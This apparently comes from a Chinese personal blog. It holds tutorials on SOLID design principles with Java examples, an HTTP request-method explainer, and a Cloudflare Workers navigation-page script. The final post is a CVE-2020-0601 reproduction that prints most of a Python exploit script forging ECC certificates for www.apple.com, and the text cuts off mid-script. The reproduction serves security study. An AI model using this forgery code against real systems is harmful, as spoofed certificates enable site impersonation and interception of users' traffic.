“不应该强迫客户依赖于它们不用的方法。接口属于客户,不属于它所在的类层次结构。”这个说得很明白了,再通俗点说,不要强迫客户使用它们不用的方法,如果强迫用户使用它们不使用的方法,那么这些客户就会面临由于这些不使用的方法的改变所带来的改变。定义客户端不应该依赖它不需要的接口;一个类对另一个类的依赖应该建立在最小的接口上。问题由来类A通过接口I依赖类B,类C通过接口I依赖类D,如果接口I对于类A和类B来说不是最小接口,则类B和类D必须去实现他们不需要的方法。解决方案将臃肿的接口I拆分为独立的几个接口,类A和类C分别与他们需要的接口建立依赖关系。也就是采用接口隔离原则。举例来说明接口隔离原则:这个图的意思是:类A依赖接口I中的方法1、方法2、方法3,类B是对类A依赖的实现。类C依赖接口I中的方法1、方法4、方法5,类D是对类C依赖的实现。对于类B和类D来说,虽然他们都存在着用不到的方法(也就是图中红色字体标记的方法),但由于实现了接口I,所以也必须要实现这些用不到的方法。对类图不熟悉的可以参照程序代码来理解,代码如下: interface I { public void method1(); public void method2(); public void method3(); public void method4(); public void method5(); } class A{ public void depend1(I i){ i.method1(); } public void depend2(I i){ i.method2(); } public void depend3(I i){ i.method3(); } } class B implements I{ public void method1() { System.out.println("类B实现接口I的方法1"); } public void method2() { System.out.println("类B实现接口I的方法2"); } public void method3() { System.out.println("类B实现接口I的方法3"); } //对于类B来说,method4和method5不是必需的,但是由于接口A中有这两个方法, //所以在实现过程中即使这两个方法的方法体为空,也要将这两个没有作用的方法进行实现。 public void method4() {} public void method5() {} } class C{ public void depend1(I i){ i.method1(); } public void depend2(I i){ i.method4(); } public void depend3(I i){ i.method5(); } } class D implements I{ public void method1() { System.out.println("类D实现接口I的方法1"); } //对于类D来说,method2和method3不是必需的,但是由于接口A中有这两个方法, //所以在实现过程中即使这两个方法的方法体为空,也要将这两个没有作用的方法进行实现。 public void method2() {} public void method3() {} public void method4() { System.out.println("类D实现接口I的方法4"); } public void method5() { System.out.println("类D实现接口I的方法5"); } } public class Client{ public static void main(String[] args){ A a = new A(); a.depend1(new B()); a.depend2(new B()); a.depend3(new B()); C c = new C(); c.depend1(new D()); c.depend2(new D()); c.depend3(new D()); } }可以看到,如果接口过于臃肿,只要接口中出现的方法,不管对依赖于它的类有没有用处,实现类中都必须去实现这些方法,这显然不是好的设计。如果将这个设计修改为符合接口隔离原则,就必须对接口I进行拆分。在这里我们将原有的接口I拆分为三个接口,拆分后的设计如图2所示:图 2 - 遵循接口隔离原则的设计)照例贴出程序的代码,供不熟悉类图的朋友参考: interface I1 { public void method1(); } interface I2 { public void method2(); public void method3(); } interface I3 { public void method4(); public void method5(); } class A{ public void depend1(I1 i){ i.method1(); } public void depend2(I2 i){ i.method2(); } public void depend3(I2 i){ i.method3(); } } class B implements I1, I2{ public void method1() { System.out.println("类B实现接口I1的方法1"); } public void method2() { System.out.println("类B实现接口I2的方法2"); } public void method3() { System.out.println("类B实现接口I2的方法3"); } } class C{ public void depend1(I1 i){ i.method1(); } public void depend2(I3 i){ i.method4(); } public void depend3(I3 i){ i.method5(); } } class D implements I1, I3{ public void method1() { System.out.println("类D实现接口I1的方法1"); } public void method4() { System.out.println("类D实现接口I3的方法4"); } public void method5() { System.out.println("类D实现接口I3的方法5"); } }接口隔离原则的含义是:建立单一接口,不要建立庞大臃肿的接口,尽量细化接口,接口中的方法尽量少。也就是说,我们要为各个类建立专用的接口,而不要试图去建立一个很庞大的接口供所有依赖它的类去调用。本文例子中,将一个庞大的接口变更为3个专用的接口所采用的就是接口隔离原则。在程序设计中,依赖几个专用的接口要比依赖一个综合的接口更灵活。接口是设计时对外部设定的”契约”,通过分散定义多个接口,可以预防外来变更的扩散,提高系统的灵活性和可维护性。说到这里,很多人会觉的接口隔离原则跟之前的单一职责原则很相似,其实不然。其一,单一职责原则原注重的是职责;而接口隔离原则注重对接口依赖的隔离。其二,单一职责原则主要是约束类,其次才是接口和方法,它针对的是程序中的实现和细节;而接口隔离原则主要约束接口接口,主要针对抽象,针对程序整体框架的构建。采用接口隔离原则对接口进行约束时,要注意以下几点:接口尽量小,但是要有限度。对接口进行细化可以提高程序设计灵活性是不挣的事实,但是如果过小,则会造成接口数量过多,使设计复杂化。所以一定要适度。为依赖接口的类定制服务,只暴露给调用的类它需要的方法,它不需要的方法则隐藏起来。只有专注地为一个模块提供定制服务,才能建立最小的依赖关系。提高内聚,减少对外交互。使接口用最少的方法去完成最多的事情。运用接口隔离原则,一定要适度,接口设计的过大或过小都不好。设计接口的时候,只有多花些时间去思考和筹划,才能准确地实践这一原则。依赖倒置原则依赖倒置原则(Dependence Inversion Principle)是程序要依赖于抽象接口,不要依赖于具体实现。简单的说就是要求对抽象进行编程,不要对实现进行编程,这样就降低了客户与实现模块间的耦合。面向过程的开发,上层调用下层,上层依赖于下层,当下层剧烈变动时上层也要跟着变动,这就会导致模块的复用性降低而且大大提高了开发的成本。 面向对象的开发很好的解决了这个问题,一般情况下抽象的变化概率很小,让用户程序依赖于抽象,实现的细节也依赖于抽象。即使实现细节不断变动,只要抽象不变,客户程序就不需要变化。这大大降低了客户程序与实现细节的耦合度定义高层模块不应该依赖低层模块,二者都应该依赖其抽象;抽象不应该依赖细节;细节应该依赖抽象。问题由来类A直接依赖类B,假如要将类A改为依赖类C,则必须通过修改类A的代码来达成。这种场景下,类A一般是高层模块,负责复杂的业务逻辑;类B和类C是低层模块,负责基本的原子操作;假如修改类A,会给程序带来不必要的风险。解决方案将类A修改为依赖接口I,类B和类C各自实现接口I,类A通过接口I间接与类B或者类C发生联系,则会大大降低修改类A的几率。依赖倒置原则基于这样一个事实:相对于细节的多变性,抽象的东西要稳定的多。以抽象为基础搭建起来的架构比以细节为基础搭建起来的架构要稳定的多。在java中,抽象指的是接口或者抽象类,细节就是具体的实现类,使用接口或者抽象类的目的是制定好规范和契约,而不去涉及任何具体的操作,把展现细节的任务交给他们的实现类去完成。依赖倒置原则的核心思想是面向接口编程,我们依旧用一个例子来说明面向接口编程比相对于面向实现编程好在什么地方。场景是这样的,母亲给孩子讲故事,只要给她一本书,她就可以照着书给孩子讲故事了。代码如下: class Book{ public String getContent(){ return "很久很久以前有一个阿拉伯的故事……"; } } class Mother{ public void narrate(Book book){ System.out.println("妈妈开始讲故事"); System.out.println(book.getContent()); } } public class Client{ public static void main(String[] args){ Mother mother = new Mother(); mother.narrate(new Book()); } }运行结果:妈妈开始讲故事 很久很久以前有一个阿拉伯的故事……运行良好,假如有一天,需求变成这样:不是给书而是给一份报纸,让这位母亲讲一下报纸上的故事,报纸的代码如下: class Newspaper{ public String getContent(){ return "林书豪38+7领导尼克斯击败湖人……"; } }这位母亲却办不到,因为她居然不会读报纸上的故事,这太荒唐了,只是将书换成报纸,居然必须要修改Mother才能读。假如以后需求换成杂志呢?换成网页呢?还要不断地修改Mother,这显然不是好的设计。原因就是Mother与Book之间的耦合性太高了,必须降低他们之间的耦合度才行。我们引入一个抽象的接口IReader。读物,只要是带字的都属于读物: interface IReader{ public String getContent(); }Mother类与接口IReader发生依赖关系,而Book和Newspaper都属于读物的范畴,他们各自都去实现IReader接口,这样就符合依赖倒置原则了,代码修改为: class Newspaper implements IReader { public String getContent(){ return "林书豪17+9助尼克斯击败老鹰……"; } } class Book implements IReader{ public String getContent(){ return "很久很久以前有一个阿拉伯的故事……"; } } class Mother{ public void narrate(IReader reader){ System.out.println("妈妈开始讲故事"); System.out.println(reader.getContent()); } } public class Client{ public static void main(String[] args){ Mother mother = new Mother(); mother.narrate(new Book()); mother.narrate(new Newspaper()); } }运行结果:妈妈开始讲故事 很久很久以前有一个阿拉伯的故事…… 妈妈开始讲故事 林书豪17+9助尼克斯击败老鹰……这样修改后,无论以后怎样扩展Client类,都不需要再修改Mother类了。这只是一个简单的例子,实际情况中,代表高层模块的Mother类将负责完成主要的业务逻辑,一旦需要对它进行修改,引入错误的风险极大。所以遵循依赖倒置原则可以降低类之间的耦合性,提高系统的稳定性,降低修改程序造成的风险。采用依赖倒置原则给多人并行开发带来了极大的便利,比如上例中,原本Mother类与Book类直接耦合时,Mother类必须等Book类编码完成后才可以进行编码,因为Mother类依赖于Book类。修改后的程序则可以同时开工,互不影响,因为Mother与Book类一点关系也没有。参与协作开发的人越多、项目越庞大,采用依赖导致原则的意义就越重大。现在很流行的TDD开发模式就是依赖倒置原则最成功的应用。传递依赖关系有三种方式,以上的例子中使用的方法是接口传递,另外还有两种传递方式:构造方法传递和setter方法传递,相信用过Spring框架的,对依赖的传递方式一定不会陌生。在实际编程中,我们一般需要做到如下3点:低层模块尽量都要有抽象类或接口,或者两者都有。变量的声明类型尽量是抽象类或接口。使用继承时遵循里氏替换原则。依赖倒置原则的核心就是要我们面向接口编程,理解了面向接口编程,也就理解了依赖倒置。单一职责原则单一职责原则(SRP:Single responsibility principle)又称单一功能原则,面向对象五个基本原则(SOLID)之一。它规定一个类应该只有一个发生变化的原因。该原则由罗伯特·C·马丁(Robert C. Martin)于《敏捷软件开发:原则、模式和实践》一书中给出的。马丁表示此原则是基于汤姆·狄马克(Tom DeMarco)和Meilir Page-Jones的著作中的内聚性原则发展出的。所谓职责是指类变化的原因。如果一个类有多于一个的动机被改变,那么这个类就具有多于一个的职责。而单一职责原则就是指一个类或者模块应该有且只有一个改变的原因。定义不要存在多于一个导致类变更的原因。**通俗的说,即一个类只负责一项职责。问题由来类T负责两个不同的职责:职责P1,职责P2。当由于职责P1需求发生改变而需要修改类T时,有可能会导致原本运行正常的职责P2功能发生故障。解决方案遵循单一职责原则。分别建立两个类T1、T2,使T1完成职责P1功能,T2完成职责P2功能。这样,当修改类T1时,不会使职责P2发生故障风险;同理,当修改T2时,也不会使职责P1发生故障风险。说到单一职责原则,很多人都会不屑一顾。因为它太简单了。稍有经验的程序员即使从来没有读过设计模式、从来没有听说过单一职责原则,在设计软件时也会自觉的遵守这一重要原则,因为这是常识。在软件编程中,谁也不希望因为修改了一个功能导致其他的功能发生故障。而避免出现这一问题的方法便是遵循单一职责原则。虽然单一职责原则如此简单,并且被认为是常识,但是即便是经验丰富的程序员写出的程序,也会有违背这一原则的代码存在。为什么会出现这种现象呢?因为有职责扩散。所谓职责扩散,就是因为某种原因,职责P被分化为粒度更细的职责P1和P2。比如:类T只负责一个职责P,这样设计是符合单一职责原则的。后来由于某种原因,也许是需求变更了,也许是程序的设计者境界提高了,需要将职责P细分为粒度更细的职责P1,P2,这时如果要使程序遵循单一职责原则,需要将类T也分解为两个类T1和T2,分别负责P1、P2两个职责。但是在程序已经写好的情况下,这样做简直太费时间了。所以,简单的修改类T,用它来负责两个职责是一个比较不错的选择,虽然这样做有悖于单一职责原则。(这样做的风险在于职责扩散的不确定性,因为我们不会想到这个职责P,在未来可能会扩散为P1,P2,P3,P4……Pn。所以记住,在职责扩散到我们无法控制的程度之前,立刻对代码进行重构。)举例说明,用一个类描述动物呼吸这个场景:class Animal{ public void breathe(String animal){ System.out.println(animal+"呼吸空气"); } } public class Client{ public static void main(String[] args){ Animal animal = new Animal(); animal.breathe("牛"); animal.breathe("羊"); animal.breathe("猪"); } }运行结果:牛呼吸空气 羊呼吸空气 猪呼吸空气程序上线后,发现问题了,并不是所有的动物都呼吸空气的,比如鱼就是呼吸水的。修改时如果遵循单一职责原则,需要将Animal类细分为陆生动物类Terrestrial,水生动物Aquatic,代码如下:class Terrestrial{ public void breathe(String animal){ System.out.println(animal+"呼吸空气"); } } class Aquatic{ public void breathe(String animal){ System.out.println(animal+"呼吸水"); } } public class Client{ public static void main(String[] args){ Terrestrial terrestrial = new Terrestrial(); terrestrial.breathe("牛"); terrestrial.breathe("羊"); terrestrial.breathe("猪"); Aquatic aquatic = new Aquatic(); aquatic.breathe("鱼"); } }运行结果:牛呼吸空气 羊呼吸空气 猪呼吸空气 鱼呼吸水我们会发现如果这样修改花销是很大的,除了将原来的类分解之外,还需要修改客户端。而直接修改类Animal来达成目的虽然违背了单一职责原则,但花销却小的多,代码如下: class Animal{ public void breathe(String animal){ if("鱼".equals(animal)){ System.out.println(animal+"呼吸水"); }else{ System.out.println(animal+"呼吸空气"); } } } public class Client{ public static void main(String[] args){ Animal animal = new Animal(); animal.breathe("牛"); animal.breathe("羊"); animal.breathe("猪"); animal.breathe("鱼"); } }可以看到,这种修改方式要简单的多。但是却存在着隐患:有一天需要将鱼分为呼吸淡水的鱼和呼吸海水的鱼,则又需要修改Animal类的breathe方法,而对原有代码的修改会对调用”猪””牛””羊”等相关功能带来风险,也许某一天你会发现程序运行的结果变为”牛呼吸水”了。这种修改方式直接在代码级别上违背了单一职责原则,虽然修改起来最简单,但隐患却是最大的。还有一种修改方式: class Animal{ public void breathe(String animal){ System.out.println(animal+"呼吸空气"); } public void breathe2(String animal){ System.out.println(animal+"呼吸水"); } } public class Client{ public static void main(String[] args){ Animal animal = new Animal(); animal.breathe("牛"); animal.breathe("羊"); animal.breathe("猪"); animal.breathe2("鱼"); } }可以看到,这种修改方式没有改动原来的方法,而是在类中新加了一个方法,这样虽然也违背了单一职责原则,但在方法级别上却是符合单一职责原则的,因为它并没有动原来方法的代码。这三种方式各有优缺点,那么在实际编程中,采用哪一中呢?其实这真的比较难说,需要根据实际情况来确定。我的原则是:只有逻辑足够简单,才可以在代码级别上违反单一职责原则;只有类中方法数量足够少,才可以在方法级别上违反单一职责原则;例如本文所举的这个例子,它太简单了,它只有一个方法,所以,无论是在代码级别上违反单一职责原则,还是在方法级别上违反,都不会造成太大的影响。实际应用中的类都要复杂的多,一旦发生职责扩散而需要修改类时,除非这个类本身非常简单,否则还是遵循单一职责原则的好。遵循单一职责原的优点有:可以降低类的复杂度,一个类只负责一项职责,其逻辑肯定要比负责多项职责简单的多;提高类的可读性,提高系统的可维护性;变更引起的风险降低,变更是必然的,如果单一职责原则遵守的好,当修改一个功能时,可以显著降低对其他功能的影响。需要说明的一点是单一职责原则不只是面向对象编程思想所特有的,只要是模块化的程序设计,都适用单一职责原则。
2020年05月03日
97 阅读
0 评论
0 点赞
2020-04-11
浅谈HTTP的各种请求方法
早在http1.0时代,最基础的三个请求模式被定义出来,他们分别是GET POST HEAD慢慢到了Http1.1时代,请求基本模型就出来了,这一次,增加了更多的功能类请求OPTIONS, PUT, DELETE, TRACE 和 CONNECTGET那么,先从最最最基础的GET请求开始说起,做为http三巨头之一,顾名思义,他面向于获取类型的请求,比如,向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url,其最明显的特征就是,打开地址栏,你可以非常清楚的看到,他发送了什么。POSTpost作为和get一样古老的东西,作为“邮件”同样顾名思义,它是想服务器发送数据,然后再从服务器那边获取返回数据。向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form,最明显的特征就是,你无法直观的看出,你的客户端对服务器发送了什么,数据内容是存在于body内的,只能通过抓包解析出。HEAD我通常吧head请求看作是get请求的阉割版,他只响应http头部,响应主体不会被发出,这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。是的,心跳检测用head请求再好不过了。OPTIONS返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能PUT向指定资源位置上传其最新内容DELETE请求服务器删除Request-URL所标识的资源TRACE回显服务器收到的请求,主要用于测试或诊断CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。那么,值得注意的,在请求报文里面,请求类型必须是大写的,否则服务器可能将返回405 method not allowdHTTP工作原理HTTP协议定义Web客户端如何从Web服务器请求Web页面,以及服务器如何把Web页面传送给客户端。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求报文,请求报文包含请求的方法、URL、协议版本、请求头部和请求数据。服务器以一个状态行作为响应,响应的内容包括协议的版本、成功或者错误代码、服务器信息、响应头部和响应数据。HTTP 请求/响应的步骤:客户端连接到Web服务器->发送Http请求->服务器接受请求并返回HTTP响应->释放连接TCP连接->客户端浏览器解析HTML内容1、客户端连接到Web服务器一个HTTP客户端,通常是浏览器,与Web服务器的HTTP端口(默认为80)建立一个TCP套接字连接。例如,http://www.baidu.com2、发送HTTP请求通过TCP套接字,客户端向Web服务器发送一个文本的请求报文,一个请求报文由请求行、请求头部、空行和请求数据4部分组成。3、服务器接受请求并返回HTTP响应Web服务器解析请求,定位请求资源。服务器将资源复本写到TCP套接字,由客户端读取。一个响应由状态行、响应头部、空行和响应数据4部分组成。4、释放连接TCP连接若connection 模式为close,则服务器主动关闭TCP连接,客户端被动关闭连接,释放TCP连接;若connection 模式为keepalive,则该连接会保持一段时间,在该时间内可以继续接收请求;5、客户端浏览器解析HTML内容客户端浏览器首先解析状态行,查看表明请求是否成功的状态代码。然后解析每一个响应头,响应头告知以下为若干字节的HTML文档和文档的字符集。客户端浏览器读取响应数据HTML,根据HTML的语法对其进行格式化,并在浏览器窗口中显示。其实就是曾经发表的一篇文章中RTT的说明
2020年04月11日
126 阅读
0 评论
0 点赞
2020-04-04
如何利用Cloudflare Workers构建一个免费无服务器导航页
Cloudflare的东西,出了名的慷慨,Workers功能在前不久提供了免费的模式每天10W次请求数量,无限流量,真猛啊!拿去做个小站简直不要太舒服哦Cloudflare的东西都懂的,抗DDoS一级棒哦,就是电信联通延迟有点美丽。。。》》》白嫖万岁!老规矩,先把代码丢上来,然后慢慢讲解const config = { title: "导航首页", //write your website title subtitle: "鹏龙-道记", //write your website subtitle logo_icon: "sitemap", //select your logo by semantic-ui icon (you can get more msg in:https://semantic-ui.com/elements/icon.html) hitokoto: true, //use hitokoto or not search:true, //enable search function search_engine:[ //choose search engine which you use { name:"百 度", template:"https://www.baidu.com/s?wd=$s" }, { name:"谷 歌", template:"https://www.google.com/search?q=$s" }, { name:"360", template:"https://www.so.com/s?q=$s" }, { name:"shodan", template:"https://www.shodan.io/search?query=$s" }, ], selling_ads: false, //Selling your domain or not.(turning on may be helpful for selling this domain by showing some ads.) sell_info:{ domain:"example.com", price:500, //domain price mon_unit:"yen sign", //monetary unit contact:[ //how to contact you { type:"envelope", //contact type ("weixin","qq","telegram plane","envelope" or "phone") content:"info@example.com" } ] }, lists: [ //Url list { name:"技术", icon:"code", list:[ { url:"https://oschina.net/", name:"开源中国", desc:"程序员集散地" }, { url:"https://v2ex.com", name:"V2EX", desc:"程序员集散地" }, { url:"https://csdn.net/", name:"CSDN技术社区", desc:"程序员集散地" }, { url:"https://github.com/", name:"Github", desc:"程序员集散地" }, { url:"https://www.vulbox.com/", name:"漏洞盒子", desc:"漏洞盒子" }, { url:"https://www.ichunqiu.com/", name:"I春秋", desc:"I春秋" }, { url:"https://www.butian.net/", name:"补天", desc:"补天" }, { url:"https://www.freebuf.com/", name:"freebuf", desc:"freebuf" }, ] }, { name:"学习", icon:"graduation cap", list:[ { url:"https://w3school.com.cn/", name:"W3school在线教程", desc:"程序员集散地" }, { url:"https://www.runoob.com/", name:"菜鸟教程", desc:"程序员集散地" }, { url:"https://segmentfault.com/", name:"思否社区", desc:"程序员集散地" }, { url:"https://jianshu.com/", name:"简书", desc:"程序员集散地" }, ] }, { name:"博客圈", icon:"code", list:[ { url:"https://www.jcdpn.cn/", name:"鹏龙-道记", desc:"日常更新" }, ] } ] } const el = (tag, attrs, content) => `<${tag} ${attrs.join(" ")}>${content}</${tag}>`; async function handleRequest(request) { const init = { headers: { 'content-type': 'text/html;charset=UTF-8', }, } return new Response(renderHTML(renderIndex(),config.selling_ads? renderSeller() :null), init); } addEventListener('fetch', event => { return event.respondWith(handleRequest(event.request)) }) /*通过分析链接 实时获取favicon * @url 需要分析的Url地址 */ function getFavicon(url){ if(url.match(/https{0,1}:\/\//)){ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url.split('//')[1]; return "https://icon.occ.hk/get.php?url=" + url; }else{ //return "https://ui-avatars.com/api/?bold=true&size=36&background=0D8ABC&color=fff&rounded=true&name=" + url; return "https://icon.occ.hk/get.php?url=http://" + url; } } /** Render Functions * 渲染模块函数 */ function renderIndex(){ const footer = el('footer',[],el('div',['class="footer"'],'Powered by' + el('a',['class="ui label"','href="https://www.jcdpn.cn/"','target="_blank"'],el('i',['class="github icon"'],"") + '龙帝') + ' ©')); return renderHeader() + renderMain() + footer; } function renderHeader(){ const item = (template,name) => el('a',['class="item"',`data-url="${template}"`],name); var nav = el('div',['class="ui large secondary inverted menu"'],el('div',['class="item"'],el('p',['id="hitokoto"'],'条条大路通罗马'))) var title = el('h1',['class="ui inverted header"'],el('i',[`class="${config.logo_icon} icon"`],"") + el('div',['class="content"'],config.title + el('div',['class="sub header"'],config.subtitle))); var menu = el('div',['id="sengine"','class="ui bottom attached tabular inverted secondary menu"'],el('div',['class="header item"'],' ') + config.search_engine.map((link,key) =>{ if(key == 0){ return el('a',['class="active item"',`data-url="${link.template}"`],link.name); }else{ return item(link.template,link.name); } }).join("")) var input = el('div',['class="ui left corner labeled right icon fluid large input"'],el('div',['class="ui left corner label"'],el('img',['id="search-fav"','class="left floated avatar ui image"','src="https://www.baidu.com/favicon.ico"'],"")) + el('input',['id="searchinput"','type="search"','placeholder="搜索你想要知道的……"','autocomplete="off"'],"") + el('i',['class="inverted circular search link icon"'],"")); return el('header',[],el('div',['id="head"','class="ui inverted vertical masthead center aligned segment"'],(config.hitokoto ? el('div',['id="nav"','class="ui container"'],nav) : "") + el('div',['id="title"','class="ui text container"'],title + (config.search ? input + menu :"") + `${config.selling_ads ? '<div><a id="menubtn" class="red ui icon inverted button"><i class="heart icon"></i> 喜欢此域名 </a></div>' : ''}`))) } function renderMain() { var main = config.lists.map((item) => { const card = (url,name,desc)=> el('a',['class="card"',`href=${url}`,'target="_blank"'],el('div',['class="content"'],el('img',['class="left floated avatar ui image"',`src=${getFavicon(url)}`],"") + el('div',['class="header"'],name) + el('div',['class="meta"'],desc))); const divider = el('h4',['class="ui horizontal divider header"'],el('i',[`class="${item.icon} icon"`],"")+item.name); var content = el('div',['class="ui four stackable cards"'],item.list.map((link) =>{ return card(link.url,link.name,link.desc); }).join("")); return el('div',['class="ui basic segment"'],divider + content); }).join(""); return el('main',[],el('div',['class="ui container"'],main)); } function renderSeller() { const item = (type,content) => el('div',['class="item"'],el('i',[`class="${type} icon"`],"") + el('div',['class="content"'],content)); var title = el('h1',['class="ui yellow dividing header"'],el('i',['class="gem outline icon"'],"") + el('div',['class="content"'],config.sell_info.domain + ' 正在出售')); var action = el('div',['class="actions"'],el('div',['class="ui basic cancel inverted button"'],el('i',['class="reply icon"'],"") + '返回')); var contact = config.sell_info.contact.map((list) => { return item(list.type,list.content); }).join(""); var column = el('div',['class="column"'],el('h3',['class="ui center aligned icon inverted header"'],el('i',['class="circular envelope open outline grey inverted icon"'],"") + '联系我') + el('div',['class="ui relaxed celled large list"'],contact)); var price = el('div',['class="column"'],el('div',['class="ui large yellow statistic"'],el('div',['class="value"'],el('i',[`class="${config.sell_info.mon_unit} icon"`],"") + config.sell_info.price))); var content = el('div',['class="content"'],el('div',['class="ui basic segment"'],el('div',['class="ui two column stackable center aligned grid"'],el('div',['class="ui inverted vertical divider"'],'感兴趣?') + el('div',['class="middle aligned row"'],price + column)))); return el('div',['id="seller"','class="ui basic modal"'],title + content + action); } function renderHTML(index,seller) { return `<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>${config.title} - ${config.subtitle}</title> <link href="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.css" rel="stylesheet"> <link href="https://cdn.jsdelivr.net/gh/sleepwood/cf-worker-dir@0.1.1/style.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/semantic-ui-css@2.4.1/semantic.min.js"></script> </head> <body> ${index} ${config.selling_ads ? seller : ''} <script src="https://v1.hitokoto.cn/?encode=js&select=%23hitokoto" defer></script> <script> $('#sengine a').on('click', function (e) { $('#sengine a.active').toggleClass('active'); $(e.target).toggleClass('active'); $('#search-fav').attr('src',$(e.target).data('url').match(`+/https{0,1}:\/\/\S+\//+`)[0] + '/favicon.ico') ; }); $('.search').on('click', function (e) { var url = $('#sengine a.active').data('url'); url = url.replace(`+/\$s/+`,$('#searchinput').val()); window.open(url); }); /* 鼠标聚焦时,回车事件 */ $("#searchinput").bind("keypress", function(){ if (event.keyCode == 13){ // 触发需要调用的方法 $(".search").click(); } }); $('#menubtn').on('click', function (e) { $('#seller').modal('show'); }); </script> </body> </html>` }此源码来自于Github上的一位大佬,在此感谢一下。进入Cloudflare Workers控制台,有一个创建Worker的按钮。还看?直接点进去啊,慌什么。。。系统默认生成会自带一端Hello Word,我们将刚刚的代码替换进去直接保存部署,当然,你也可以调整一下,在旁边的浏览里面查看页面效果不出意料,非常无脑,直接就搞定了,自动生成的域名非常难受,你可以选择重命名来调整主机名...........边缘脚本部署是不是很简单,还堪称0成本什么是无服务器?通常而言,构建和维护易于扩展的应用程序可支持需求高峰或全球用户群,但这需要大量前期工程和持续运营支持。 开发人员不得不花费大量时间编写支持代码,而非构建应用程序本身。 而借助 Cloudflare Workers,开发人员能够构建无服务器的可扩展应用程序,无需在基础设施或操作上花费时间和精力。借助 Cloudflare Workers,开发人员能够在 Cloudflare 的全球云网络上部署无服务器的 JavaScript 应用程序,应用程序能够在这个网络中无缝扩展,更加接近最终用户。 Workers 基于 Service Workers API 构建,可为向应用程序发出的每次 HTTP(S) 请求接收事件。 然后,Workers 运行应用程序逻辑,并可向 Cloudflare Cache、Cloudflare Workers KV 或应用程序原始服务器发出后续请求,以将数据返回给用户。
2020年04月04日
390 阅读
0 评论
0 点赞
2020-04-02
CVE-2020-0601漏洞复现与分析
第一步:生成https证书基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。#!/usr/bin/env python3 import datetime import hashlib import os import subprocess import sys from typing import BinaryIO, Iterable, Optional, Sequence, Tuple import ecdsa.curves import ecdsa.ellipticcurve import ecdsa.numbertheory import ecdsa.util from asn1crypto import core, keys, pem, x509 def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]: with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb" ) as f: pem_bytes = f.read() for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True): if object_type != "CERTIFICATE": continue yield x509.Certificate.load(der_bytes) def generate_ec_private_key(name: str) -> keys.ECPrivateKey: der_bytes = subprocess.check_output( ( "openssl", "ecparam", "-name", name, "-param_enc", "explicit", "-genkey", "-noout", "-outform", "DER", ) ) return keys.ECPrivateKey.load(der_bytes) def get_exploit_generator( k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve ) -> Tuple[int, int]: k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order) Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order) G = Q * k_inverse return (G.x(), G.y()) def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve: p = parameters["field_id"]["parameters"].native a = parameters["curve"]["a"].cast(core.IntegerOctetString).native b = parameters["curve"]["b"].cast(core.IntegerOctetString).native Gx, Gy = parameters["base"].to_coords() order = parameters["order"].native curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b) G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order) return ecdsa.curves.Curve(None, curve_fp, G, (0, 0)) def digest_certificate(certificate: x509.Certificate) -> bytes: der_bytes = certificate["tbs_certificate"].dump() return hashlib.new(certificate.hash_algo, der_bytes).digest() def sign_certificate( signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate ) -> None: digest = digest_certificate(certificate) signature_bytes = signing_key.sign_digest( digest, sigencode=ecdsa.util.sigencode_der ) certificate["signature_value"] = signature_bytes def exploit_certificate( certificate: x509.Certificate, ) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]: curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native ec_private_key = generate_ec_private_key(curve_name) k = ec_private_key["private_key"].native parameters = ec_private_key["parameters"].chosen nist_curve = curve_from_ec_parameters(parameters) Qx, Qy = certificate.public_key["public_key"].to_coords() Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve) parameters["base"] = keys.ECPoint.from_coords(Gx, Gy) ec_private_key["parameters"] = parameters ec_private_key["public_key"] = certificate.public_key["public_key"] certificate.public_key["algorithm"]["parameters"] = parameters exploit_curve = curve_from_ec_parameters(parameters) signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve) signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate["tbs_certificate"]["signature"] = signed_digest_algorithm certificate["signature_algorithm"] = signed_digest_algorithm sign_certificate(signing_key, certificate) return (signing_key, ec_private_key) def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None: print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr) der_bytes = value.dump() pem_bytes = pem.armor(object_type, der_bytes) f.write(pem_bytes) def generate_private_key( algorithm: str, ) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]: pem_bytes = subprocess.check_output( ( "openssl", "req", "-pubkey", "-noout", "-newkey", algorithm, "-keyout", "-", "-nodes", "-batch", "-outform", "PEM", ) ) pem_iter = pem.unarmor(pem_bytes, multiple=True) object_type, _, der_bytes = next(pem_iter) assert object_type == "PRIVATE KEY" private_key = keys.PrivateKeyInfo.load(der_bytes) object_type, _, der_bytes = next(pem_iter) 